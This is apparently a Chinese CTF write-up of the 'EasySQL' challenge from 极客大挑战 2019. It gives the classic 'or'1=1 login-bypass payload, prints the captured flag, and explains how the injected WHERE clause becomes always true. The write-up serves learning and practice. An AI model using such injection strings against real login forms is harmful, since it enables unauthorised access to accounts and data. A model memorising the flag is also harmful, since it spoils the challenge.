• 中文
    • English
  • 注册
  • 查看作者
  • [极客大挑战 2019]EasySQL1详解

    题目简介

      • SQL注入

    解题步骤

    1.首先启动并访问靶机,可以看到一个用户登录页面,怀疑SQL注入漏洞

    [极客大挑战 2019]EasySQL1详解

    2.随便输入一个用户名和密码,通过网址可以判断出该请求是get的方式

    [极客大挑战 2019]EasySQL1详解

    3.直接使用万能密码测试是否存在SQL注入漏洞:

    username=admin'or'1=1&password=admin'or'1=1

    4.成功获得flag:flag{df447ce1-6caf-4dc4-9bc2-692872739d81}

    [极客大挑战 2019]EasySQL1详解

    知识详解

    一:SQL注入

    我们来思考一下,为什么username=xxx'or'1=1&password=xxx'or'1=1可以达到SQL注入,从而直接输出表内容的目的。

    假设我们的表名叫t_user,username为用户名字段,password为密码字段,只有当用户名和密码字段都正确的时候才能输出该数据的内容

    SELECT * FROM t_user WHERE username = 'xxx' AND password = "xxxx"

    但是我们通过在xxx后面拼接一个'号来闭合username的值,然后通过or 1 = 1 使where的条件恒等于true,上面的SQL也就变成了

    SELECT * FROM t_user WHERE username='xxx'or 1 = 1 AND password='xxx'or 1 = 1

    从而可以查出所有的数据。

    未知
  • 0
  • 1
  • 0
  • 1.5k
  • 请登录之后再进行评论

    登录
  • 0
    fggg1
    厉害了
  • 单栏布局 侧栏位置: